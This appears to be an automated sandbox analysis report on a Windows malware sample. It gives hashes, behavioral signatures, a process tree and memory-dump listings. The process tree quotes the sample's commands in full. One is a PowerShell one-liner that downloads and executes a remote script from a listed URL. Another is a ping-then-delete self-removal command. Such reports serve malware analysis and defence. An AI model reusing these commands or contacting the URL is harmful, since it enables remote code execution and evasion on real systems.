Analysis
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max time kernel
121s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20230831-en -
resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system -
submitted
16-09-2023 14:20
Static task
static1
Behavioral task
behavioral1
Sample
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe
Resource
win10v2004-20230915-en
General
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Target
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe
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Size
247KB
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MD5
f17afa21e88b7a362db5ae8fdfa43de9
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SHA1
14b024dfe1f9aa6eb88bc7e2215e4877c92cc01e
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SHA256
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf
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SHA512
efbdcd1c0fb91cb15de2935ed500fb0f9a8b3ef1491e9823850e97451348cd3a170bc0ad3c84086438508f7280f100a33ff8299a7de64093129b2d7ea83b8e0d
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SSDEEP
3072:98iTSP3d1hp5xnAs03vx54qylRs8crPGjl5mS3qI79TPJvLCw8DSmfNKgAiNNrc4:90zl37r79h2DSm1SgAOmhzN+
Malware Config
Extracted
https://aszfiltration.com/storage/files/debug2.ps1
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 11 2100 powershell.exe 13 2100 powershell.exe -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2676 cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2100 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2100 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.execmd.execmd.exedescription pid process target process PID 2200 wrote to memory of 1212 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 1212 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 1212 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 1212 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 1212 wrote to memory of 2100 1212 cmd.exe powershell.exe PID 1212 wrote to memory of 2100 1212 cmd.exe powershell.exe PID 1212 wrote to memory of 2100 1212 cmd.exe powershell.exe PID 2200 wrote to memory of 2676 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 2676 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 2676 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2200 wrote to memory of 2676 2200 c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe cmd.exe PID 2676 wrote to memory of 2900 2676 cmd.exe PING.EXE PID 2676 wrote to memory of 2900 2676 cmd.exe PING.EXE PID 2676 wrote to memory of 2900 2676 cmd.exe PING.EXE PID 2676 wrote to memory of 2900 2676 cmd.exe PING.EXE
Processes
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C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe"C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\c33deedefdb021c129cc4314ce7a032be5fbca79378f8581d0406857040a7fbf_JC.exe" >> NUL2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.13⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2100-4-0x000000001B3D0000-0x000000001B6B2000-memory.dmpFilesize
2.9MB
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memory/2100-5-0x0000000001DC0000-0x0000000001DC8000-memory.dmpFilesize
32KB
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memory/2100-6-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmpFilesize
9.6MB
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memory/2100-8-0x0000000002980000-0x0000000002A00000-memory.dmpFilesize
512KB
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memory/2100-7-0x0000000002980000-0x0000000002A00000-memory.dmpFilesize
512KB
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memory/2100-9-0x0000000002980000-0x0000000002A00000-memory.dmpFilesize
512KB
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memory/2100-10-0x0000000002980000-0x0000000002A00000-memory.dmpFilesize
512KB
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memory/2100-11-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmpFilesize
9.6MB
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memory/2100-12-0x000007FEF5CF0000-0x000007FEF668D000-memory.dmpFilesize
9.6MB
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memory/2100-13-0x0000000002980000-0x0000000002A00000-memory.dmpFilesize
512KB